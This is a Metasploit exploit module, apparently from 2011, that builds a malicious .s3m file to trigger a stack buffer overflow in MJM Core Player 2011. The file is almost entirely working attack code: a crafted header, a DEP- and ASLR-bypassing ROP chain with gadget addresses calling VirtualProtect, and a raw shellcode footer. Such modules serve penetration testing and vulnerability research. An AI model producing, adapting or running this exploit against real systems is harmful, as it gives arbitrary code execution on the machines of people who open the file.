MJM Core Player 2011 – ‘.s3m’ Local Stack Buffer Overflow (Metasploit)
## # $Id: mjm_coreplayer2011_s3m.rb 12473 2011-04-30 02:36:14Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'MJM Core Player 2011 .s3m Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in MJM Core Player 2011 When opening a malicious s3m file in this applications, a stack buffer overflow can be triggered, resulting in arbitrary code execution. This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7. }, 'License' => MSF_LICENSE, 'Author' => [ 'rick2600', #found the vulnerabilities 'corelanc0d3r', #rop exploit + msf module ], 'Version' => '$Revision: 12473 $', 'References' => [ [ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-004' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 2339, #about 0x900 bytes 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal Generic DEP & ASLR Bypass', { 'OffSet' => 819, #core player.exe 'Ret' => 0x1000156f, #core player.exe } ], ], 'Privileged' => false, 'DisclosureDate' => 'Apr 30, 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 's3m file', 'song.s3m']), ], self.class) end def junk return rand_text(4).unpack("L")[0].to_i end def exploit print_status("Creating '#{datastore['FILENAME']}' file ...") header = "\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x41\x41\x41\x41\x41" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10\x00\x00" header << "\x24\x00\x00\x01\x00\x0d\x08\x00\x20\x13\x02\x00\x53\x43\x52\x4d" header << "\x40\x06\x94\xb0\x10\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\xff\xff\xff\xff\xff\xff" header << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" header << "\x06\x00\x03\x01\x02\x04\x05\x07\x08\x09\x09\x0a\x0b\x0c\x0d\x0e" header << "\x0f\x10\x10\x11\x12\x13\x14\x15\x16\x16\x17\x18\x19\x18\x1a\x1b" header << "\x1b\x1c\xff\xff\x13\x00\x18\x00\x1d\x00\x22\x00\x27\x00\x2c\x00" header << "\x31\x00\x36\x00\x3b\x00\x40\x00\x45\x00\x4a\x00\x4f\x00\x54\x00" header << "\x59\x00\x5e\x00\x63\x00\x68\x00\x6d\x00\x72\x00\x77\x00\x7c\x00" header << "\x81\x00\x86\x00\x8b\x00\x90\x00\x95\x00\x9a\x00\x9f\x00\xa4\x00" header << "\xa9\x00\xae\x00\xb3\x00\xb8\x00\xbd\x00\xc2\x00\xc7\x00\xcc\x00" header << "\xd1\x00\xd6\x00\xdb\x00\xe0\x00\x14\x01\x4d\x01\x87\x01\xc0\x01" header << "\x0e\x02\x5a\x02\x9a\x02\xe9\x02\x40\x03\x7f\x03\xc0\x03\x01\x04" header << "\x28\x04\x52\x04\x86\x04\xb9\x04\xea\x04\x1a\x05\x41\x05\x6e\x05" header << "\x96\x05\xbc\x05\xeb\x05\x25\x06\x78\x06\xcc\x06\x21\x07\x72\x07" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x01" footer = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" footer << "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" footer << "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" footer << "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" footer << "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" footer << "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" footer << "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" footer << "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" footer << "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" footer << "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" footer << "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" footer << "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" footer << "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" footer << "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x00" footer << "\x00\x00\x00\x00\x00\x00\x00\x00" print_status("Preparing payload") pivot = [target.ret].pack('V') rop_gadgets = [ # pvefindaddr rop 'n roll 0x004c0021, # POP ECX # RETN 0x00000000, 0x0042850e, # PUSH ESP # ADD EDI,EDI # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0C junk, junk, junk, 0x00461248, # MOV EAX,EDI # POP EDI # POP ESI # RETN junk, junk, junk, junk, junk, 0x004ac31d, # POP EBX # RETN 0x00000900, 0x004a8032, # POP ESI # RETN 0x00000080, 0x10009ea7, # ADD EAX,ESI # POP ESI # RETN junk, 0x004def0d, # XCHG EAX,EBP # RETN 0x004c0145, # POP EAX # RETN 0x005e0ae0, # VirtualProtect 0x00408242, # MOV EAX,DWORD PTR DS:[EAX] # RETN 0x0052001a, # XCHG EAX,ESI # RETN 00 0x004c0729, # POP EDX # RETN 0x00000040, 0x004c0021, # POP ECX # RETN 0x00401000, # RW 0x00448142, # POP EDI # RETN 0x004ae7ce, # RET 0x004c0145, # POP EAX # RETN 0x004ae7ce, # RET 0x0052158e, # PUSHAD # RETN 00 ].pack("V*") buffer = rand_text(target['OffSet']) buffer << pivot buffer << rop_gadgets buffer << make_nops(100) buffer << payload.encoded filecontent = header + buffer + footer print_status("Writing payload to file") file_create(filecontent) end end |